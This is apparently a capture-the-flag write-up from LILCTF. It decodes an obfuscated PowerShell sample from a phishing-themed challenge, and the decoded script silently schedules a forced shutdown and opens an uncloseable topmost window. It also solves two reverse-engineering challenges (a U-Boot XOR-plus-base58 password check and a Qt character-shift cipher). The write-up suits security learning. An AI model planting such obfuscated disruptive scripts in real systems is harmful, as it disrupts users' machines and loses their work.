s = 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b$b+$g$b$u$d+$g$b$b$u+$g$b$b$x+$g$o$u+$g$d$o+$g$d$q+$g$o$o+$g$z$q+$g$d$u+$g$d$q+$g$o$i+$g$o$b+$g$b$z+$g$b$u+$g$z$x+$g$e$x+$g$l$e+$g$l$i+$g$b$u$b+$g$b$u$i+$g$d$u+$g$o$x+$g$x$d+$g$b$b$e+$g$b$b$x+$g$b$b$b+$g$i$z+$g$b$u$d+$g$b$q$q+$g$b$u$b+$g$z$q+$g$x$b+$g$z$q+$g$z$x+$g$i$o+$g$b$b$o+$g$b$b$e+$g$b$u$b+$g$b$z+$g$b$u+$g$z$x+$g$e$x+$g$l$e+$g$l$i+$g$b$u$b+$g$b$u$i+$g$d$u+$g$o$x+$g$e$u+$g$b$b$b+$g$b$b$o+$g$b$u$b+$g$x$e+$g$b$b$b+$g$b$u$i+$g$b$b$b+$g$b$b$o+$g$z$q+$g$x$b+$g$z$q+$g$z$o+$g$i$e+$g$b$u$o+$g$b$u$d+$g$b$b$x+$g$b$u$b+$g$z$o+$g$b$z+$g$b$u+$g$z$x+$g$e$x+$g$l$e+$g$l$i+$g$b$u$b+$g$b$u$i+$g$d$u+$g$o$x+$g$e$u+$g$b$b$b+$g$b$b$u+$g$b$b$x+$g$z$q+$g$x$b+$g$z$q+$g$e$i+$g$b$u$b+$g$b$b$l+$g$o$d+$g$e$l+$g$l$i+$g$b$u$x+$g$b$u$b+$g$l$l+$g$b$b$x+$g$z$q+$g$i$z+$g$b$q$b+$g$b$b$d+$g$b$b$x+$g$b$u$b+$g$b$u$l+$g$o$x+$g$x$i+$g$b$b$o+$g$l$e+$g$b$b$l+$g$b$u$d+$g$b$b$u+$g$b$u$z+$g$o$x+$g$e$u+$g$b$b$b+$g$b$b$u+$g$b$b$x+$g$o$u+$g$z$o+$g$q$o$o$l$o+$g$z$x$e$b$l+$g$z$i$d$l$e+$g$o$u$x$d$e+$g$z$o+$g$o$o+$g$z$q+$g$o$l+$g$d$o+$g$o$b+$g$b$z+$g$b$u+$g$b$z+$g$b$u+$g$z$x+$g$e$x+$g$l$e+$g$l$i+$g$b$u$b+$g$b$u$i+$g$d$b+$g$z$q+$g$x$b+$g$z$q+$g$e$i+$g$b$u$b+$g$b$b$l+$g$o$d+$g$e$l+$g$l$i+$g$b$u$x+$g$b$u$b+$g$l$l+$g$b$b$x+$g$z$q+$g$i$z+$g$b$q$b+$g$b$b$d+$g$b$b$x+$g$b$u$b+$g$b$u$l+$g$o$x+$g$i$e+$g$b$u$d+$g$b$b$u+$g$b$u$u+$g$b$b$b+$g$b$b$l+$g$b$b$d+$g$o$x+$g$e$u+$g$b$b$b+$g$b$b$o+$g$b$u$l+$g$b$b$d+$g$o$x+$g$e$x+$g$l$e+$g$l$i+$g$b$u$b+$g$b$u$i+$g$b$z+$g$b$u+$g$z$x+$g$e$x+$g$l$e+$g$l$i+$g$b$u$b+$g$b$u$i+$g$d$b+$g$o$x+$g$i$o+$g$b$u$b+$g$b$q$u+$g$b$b$x+$g$z$q+$g$x$b+$g$z$q+$g$z$o+$g$q$u$z$q$u+$g$z$u$z$o$u+$g$z$u$u$u$d+$g$z$z$u$o$b+$g$q$z$d$d$i+$g$q$q$z$b$q+$g$z$q+$g$o$l+$g$o$i+$g$z$q+$g$q$u$l$l$i+$g$z$i$u$o$e+$g$q$b$d$b$i+$g$q$u$i$d$b+$g$q$x$o$q$x+$g$x$d$q$l$q+$g$z$d$i$z$b+$g$q$u$o$o$d+$g$q$z$z$i$o+$g$q$u$z$q$u+$g$z$u$z$o$u+$g$q$o$u$z$e+$g$q$u$z$b$x+$g$z$o+$g$b$z+$g$b$u+$g$z$x+$g$e$x+$g$l$e+$g$l$i+$g$b$u$b+$g$b$u$i+$g$d$b+$g$o$x+$g$e$x+$g$b$b$b+$g$l$l+$g$l$e+$g$b$b$x+$g$b$u$d+$g$b$b$b+$g$b$b$u+$g$z$q+$g$x$b+$g$z$q+$g$e$i+$g$b$u$b+$g$b$b$l+$g$o$d+$g$e$l+$g$l$i+$g$b$u$x+$g$b$u$b+$g$l$l+$g$b$b$x+$g$z$q+$g$i$z+$g$b$q$b+$g$b$b$d+$g$b$b$x+$g$b$u$b+$g$b$u$l+$g$o$x+$g$x$i+$g$b$b$o+$g$l$e+$g$b$b$l+$g$b$u$d+$g$b$b$u+$g$b$u$z+$g$o$x+$g$i$u+$g$b$b$b+$g$b$u$d+$g$b$b$u+$g$b$b$x+$g$o$u+$g$d$o+$g$d$q+$g$o$o+$g$z$q+$g$d$b+$g$o$i+$g$o$i+$g$o$b+$g$b$z+$g$b$u+$g$z$x+$g$e$x+$g$l$e+$g$l$i+$g$b$u$b+$g$b$u$i+$g$d$b+$g$o$x+$g$x$d+$g$b$b$e+$g$b$b$x+$g$b$b$b+$g$i$z+$g$b$u$d+$g$b$q$q+$g$b$u$b+$g$z$q+$g$x$b+$g$z$q+$g$z$x+$g$i$o+$g$b$b$o+$g$b$b$e+$g$b$u$b+$g$b$z+$g$b$u+$g$z$x+$g$e$x+$g$l$e+$g$l$i+$g$b$u$b+$g$b$u$i+$g$d$b+$g$o$x+$g$e$u+$g$b$b$b+$g$b$b$o+$g$b$u$b+$g$x$e+$g$b$b$b+$g$b$u$i+$g$b$b$b+$g$b$b$o+$g$z$q+$g$x$b+$g$z$q+$g$z$o+$g$i$e+$g$b$u$o+$g$b$u$d+$g$b$b$x+$g$b$u$b+$g$z$o+$g$b$z+$g$b$u+$g$z$x+$g$e$x+$g$l$e+$g$l$i+$g$b$u$b+$g$b$u$i+$g$d$b+$g$o$x+$g$e$u+$g$b$b$b+$g$b$b$u+$g$b$b$x+$g$z$q+$g$x$b+$g$z$q+$g$e$i+$g$b$u$b+$g$b$b$l+$g$o$d+$g$e$l+$g$l$i+$g$b$u$x+$g$b$u$b+$g$l$l+$g$b$b$x+$g$z$q+$g$i$z+$g$b$q$b+$g$b$b$d+$g$b$b$x+$g$b$u$b+$g$b$u$l+$g$o$x+$g$x$i+$g$b$b$o+$g$l$e+$g$b$b$l+$g$b$u$d+$g$b$b$u+$g$b$u$z+$g$o$x+$g$e$u+$g$b$b$b+$g$b$b$u+$g$b$b$x+$g$o$u+$g$z$o+$g$q$o$o$l$o+$g$z$x$e$b$l+$g$z$i$d$l$e+$g$o$u$x$d$e+$g$z$o+$g$o$o+$g$z$q+$g$o$l+$g$d$o+$g$o$b+$g$b$z+$g$b$u+$g$b$z+$g$b$u+$g$z$x+$g$e$u+$g$b$b$b+$g$b$b$o+$g$b$u$l+$g$o$x+$g$x$e+$g$b$b$b+$g$b$b$u+$g$b$b$x+$g$b$b$o+$g$b$b$b+$g$b$u$i+$g$b$b$d+$g$o$x+$g$x$d+$g$b$u$u+$g$b$u$u+$g$i$q+$g$l$e+$g$b$b$u+$g$b$u$z+$g$b$u$b+$g$o$u+$g$x$o+$g$o$u+$g$z$x+$g$e$x+$g$l$e+$g$l$i+$g$b$u$b+$g$b$u$i+$g$o$l+$g$o$o+$g$z$q+$g$z$x+$g$e$x+$g$l$e+$g$l$i+$g$b$u$b+$g$b$u$i+$g$d$u+$g$o$o+$g$z$q+$g$z$x+$g$e$x+$g$l$e+$g$l$i+$g$b$u$b+$g$b$u$i+$g$d$b+$g$o$b+$g$o$b+$g$b$z+$g$b$u+$g$b$z+$g$b$u+$g$z$x+$g$e$u+$g$b$b$b+$g$b$b$o+$g$b$u$l+$g$o$x+$g$x$d+$g$b$u$u+$g$b$u$u+$g$l$d+$g$i$z+$g$b$u$o+$g$b$b$b+$g$b$b$l+$g$b$b$u+$g$o$u+$g$b$q$z+$g$z$x+$g$e$u+$g$b$b$b+$g$b$b$o+$g$b$u$l+$g$o$x+$g$x$d+$g$l$l+$g$b$b$x+$g$b$u$d+$g$b$b$i+$g$l$e+$g$b$b$x+$g$b$u$b+$g$o$u+$g$o$b+$g$b$q$d+$g$o$b+$g$b$z+$g$b$u+$g$z$x+$g$e$u+$g$b$b$b+$g$b$b$o+$g$b$u$l+$g$o$x+$g$x$d+$g$b$u$u+$g$b$u$u+$g$l$d+$g$e$u+$g$b$b$b+$g$b$b$o+$g$b$u$l+$g$x$e+$g$b$u$i+$g$b$b$b+$g$b$b$d+$g$b$u$d+$g$b$b$u+$g$b$u$z+$g$o$u+$g$b$q$z+$g$b$z+$g$b$u+$g$z$q+$g$z$q+$g$z$q+$g$z$q+$g$z$x+$g$l$d+$g$o$x+$g$x$e+$g$l$e+$g$b$b$u+$g$l$l+$g$b$u$b+$g$b$u$i+$g$z$q+$g$x$b+$g$z$q+$g$z$x+$g$i$o+$g$b$b$o+$g$b$b$e+$g$b$u$b+$g$b$z+$g$b$u+$g$z$q+$g$z$q+$g$z$q+$g$z$q+$g$l$b+$g$i$z+$g$b$q$b+$g$b$b$d+$g$b$b$x+$g$b$u$b+$g$b$u$l+$g$o$x+$g$i$e+$g$b$u$d+$g$b$b$u+$g$b$u$u+$g$b$b$b+$g$b$b$l+$g$b$b$d+$g$o$x+$g$e$u+$g$b$b$b+$g$b$b$o+$g$b$u$l+$g$b$b$d+$g$o$x+$g$e$e+$g$b$u$b+$g$b$b$d+$g$b$b$d+$g$l$e+$g$b$u$z+$g$b$u$b+$g$x$x+$g$b$b$b+$g$b$q$u+$g$l$z+$g$d$i+$g$d$i+$g$i$z+$g$b$u$o+$g$b$b$b+$g$b$b$l+$g$o$u+$g$z$o+$g$b$l$l$i$b+$g$q$u$i$u$b+$g$z$d$e$x$i+$g$q$u$i$d$b+$g$z$i$z$i$b+$g$x$d$q$i$b+$g$z$o+$g$o$o+$g$z$q+$g$z$o+$g$q$d$d$d$q+$g$z$b$u$z$o+$g$z$o+$g$o$o+$g$z$q+$g$l$b+$g$i$z+$g$b$q$b+$g$b$b$d+$g$b$b$x+$g$b$u$b+$g$b$u$l+$g$o$x+$g$i$e+$g$b$u$d+$g$b$b$u+$g$b$u$u+$g$b$b$b+$g$b$b$l+$g$b$b$d+$g$o$x+$g$e$u+$g$b$b$b+$g$b$b$o+$g$b$u$l+$g$b$b$d+$g$o$x+$g$e$e+$g$b$u$b+$g$b$b$d+$g$b$b$d+$g$l$e+$g$b$u$z+$g$b$u$b+$g$x$x+$g$b$b$b+$g$b$q$u+$g$x$x+$g$b$b$e+$g$b$b$x+$g$b$b$x+$g$b$b$b+$g$b$b$u+$g$b$b$d+$g$l$z+$g$d$i+$g$d$i+$g$e$l+$g$e$d+$g$o$o+$g$z$q+$g$l$b+$g$i$z+$g$b$q$b+$g$b$b$d+$g$b$b$x+$g$b$u$b+$g$b$u$l+$g$o$x+$g$i$e+$g$b$u$d+$g$b$b$u+$g$b$u$u+$g$b$b$b+$g$b$b$l+$g$b$b$d+$g$o$x+$g$e$u+$g$b$b$b+$g$b$b$o+$g$b$u$l+$g$b$b$d+$g$o$x+$g$e$e+$g$b$u$b+$g$b$b$d+$g$b$b$d+$g$l$e+$g$b$u$z+$g$b$u$b+$g$x$x+$g$b$b$b+$g$b$q$u+$g$e$z+$g$l$l+$g$b$b$b+$g$b$b$u+$g$l$z+$g$d$i+$g$d$i+$g$e$z+$g$b$b$u+$g$b$u$q+$g$b$b$b+$g$b$b$o+$g$b$u$l+$g$l$e+$g$b$b$x+$g$b$u$d+$g$b$b$b+$g$b$b$u+$g$o$b+$g$b$z+$g$b$u+$g$b$q$d+$g$o$b+$g$b$z+$g$b$u+$g$b$z+$g$b$u+$g$z$x+$g$e$u+$g$b$b$b+$g$b$b$o+$g$b$u$l+$g$o$x+$g$i$z+$g$b$u$o+$g$b$b$b+$g$b$b$l+$g$x$i+$g$b$u$d+$g$l$e+$g$b$u$i+$g$b$b$b+$g$b$u$z+$g$o$u+$g$o$b+$g$z$q+$g$b$q$o+$g$z$q+$g$e$l+$g$b$b$e+$g$b$b$x+$g$o$d+$g$e$i+$g$b$b$e+$g$b$u$i+$g$b$u$i"

char_to_digit = {
    'u': 0,
    'b': 1,
    'q': 2,
    'z': 3,
    'o': 4,
    'd': 5,
    'e': 7,
    'i': 8,
    'x': 6,
    'l': 9
}

tokens = s.split('+')
ans = []

for token in tokens:
    tmp = token.split('$')
    chars = [c for c in tmp[1:] if c and c != 'g']
    
    if chars:
        num = 0
        for char in chars:
            if char in char_to_digit:
                num = num * 10 + char_to_digit[char]
        ans.append(chr(num))

print(''.join(ans))
$DebugPreference = $ErrorActionPreference = $VerbosePreference = $WarningPreference = "SilentlyContinue"

[void] [System.Reflection.Assembly]::LoadWithPartialName("System.Windows.Forms")
[void] [System.Reflection.Assembly]::LoadWithPartialName("System.Drawing")

shutdown /s /t 600 >$Null 2>&1

$Form = New-Object System.Windows.Forms.Form
$Form.Text = "Ciallo～(∠·ω< )⌒★"
$Form.StartPosition = "Manual"
$Form.Location = New-Object System.Drawing.Point(40, 40)
$Form.Size = New-Object System.Drawing.Size(720, 480)
$Form.MinimalSize = New-Object System.Drawing.Size(720, 480)
$Form.MaximalSize = New-Object System.Drawing.Size(720, 480)
$Form.FormBorderStyle = "FixedDialog"
$Form.BackColor = "#0077CC"
$Form.MaximizeBox = $False
$Form.TopMost = $True


$fF1IA49G = "LILCTF{B3_vlG1I4Nt_49Ain5t_PHl5Hin6}"
$fF1IA49G = "N0pe"


$Label1 = New-Object System.Windows.Forms.Label
$Label1.Text = ":)"
$Label1.Location = New-Object System.Drawing.Point(64, 80)
$Label1.AutoSize = $True
$Label1.ForeColor = "White"
$Label1.Font = New-Object System.Drawing.Font("Consolas", 64)

$Label2 = New-Object System.Windows.Forms.Label
$Label2.Text = "这里没有 flag；这个窗口是怎么出现的呢，flag 就在那里"
$Label2.Location = New-Object System.Drawing.Point(64, 240)
$Label2.AutoSize = $True
$Label2.ForeColor = "White"
$Label2.Font = New-Object System.Drawing.Font("微软雅黑", 16)

$Label3 = New-Object System.Windows.Forms.Label
$Label3.Text = "你的电脑将在 10 分钟后关机，请保存你的工作"
$Label3.Location = New-Object System.Drawing.Point(64, 300)
$Label3.AutoSize = $True
$Label3.ForeColor = "White"
$Label3.Font = New-Object System.Drawing.Font("微软雅黑", 16)

$Form.Controls.AddRange(@($Label1, $Label2, $Label3))

$Form.Add_Shown({$Form.Activate()})
$Form.Add_FormClosing({
    $_.Cancel = $True
    [System.Windows.Forms.MessageBox]::Show("不允许关闭！", "提示", [System.Windows.Forms.MessageBoxButtons]::OK, [System.Windows.Forms.MessageBoxIcon]::Information)
})

$Form.ShowDialog() | Out-Null

得到 flag

$fF1IA49G = "LILCTF{B3_vlG1I4Nt_49Ain5t_PHl5Hin6}"

Oh_My_Uboot | SOLVED | Azusaq

用 qemu 加载附件，发现程序要验证密码

qemu-system-arm -M vexpress-a9 -kernel 150256_re-u-boot -nographic -s -S

IDA 用remote GDB debug挂载上去

动调，验证逻辑在 sub_67F71F80

输入通过function加密后与字符串5W2b9PbLE6SIc3WP=X6VbPI0?X@HMEWH;比较

function 逻辑如下

_BYTE *__fastcall function(_BYTE *input, _BYTE *a2)
{
  // [COLLAPSED LOCAL DECLARATIONS. PRESS NUMPAD "+" TO EXPAND]

  n4_1 = length();
  input_1 = input;
  n4 = n4_1;
  input_2 = &input[n4_1];
  while ( input_1 != input_2 )
    *input_1++ ^= 0x72u;
  LOBYTE(n0x6A) = 0x30;
  v9 = &v25;
  do
  {
    *v9++ = n0x6A;
    n0x6A = (unsigned __int8)(n0x6A + 1);
  }
  while ( n0x6A != 0x6A );
  v10 = &a2[3 * (n4 / 2) + 3];
  v11 = n4 - 1;
  v12 = v10;
  memcpy_(v10, (unsigned int)input, n4, 0x6A);
  v13 = v10;
  v14 = &v10[v11];
  while ( v13 <= v14 )
  {
    if ( *v13 )
    {
      v19 = v13;
      v20 = 0;
      while ( v19 <= v14 )
      {
        n0x3A = ((__int16)v20 << 8) + *v19;
        div_(n0x3A, 0x3Au);
        v20 = v21;
        *v19++ = mod_(n0x3A, 0x3Au, n0x3A);
      }
      *--v12 = v23[v20 + 12];
    }
    else
    {
      ++v13;
    }
  }
  v15 = a2;
  v16 = 0;
  v17 = (_BYTE *)(v10 - v12);
  while ( (unsigned int)v17 > v16 )
  {
    v22 = v12[v16++];
    *v15++ = v22;
  }
  result = a2;
  *v15 = 0;
  return result;
}

先对输入异或 0x72

再用

  LOBYTE(n0x6A) = 0x30;
  v9 = &v25;
  do
  {
    *v9++ = n0x6A;
    n0x6A = (unsigned __int8)(n0x6A + 1);
  }
  while ( n0x6A != 0x6A );

生成base58字符表

之后经过base58加密得到结果

直接用赛博厨子梭哈

Qt_Creator | SOLVED | Azusaq

密文

通过找字符串交叉引用找到加密逻辑

对奇数密文+1，偶数-1

exp:

str= "KJKDSGzR6`bsd5s1q`0t^wdsx`b1mw2oh4mu|"
s= ''.join(
    chr(ord(c) + 1) if i % 2 == 0 else chr(ord(c) - 1) 
    for i, c in enumerate(str)
)
print(s)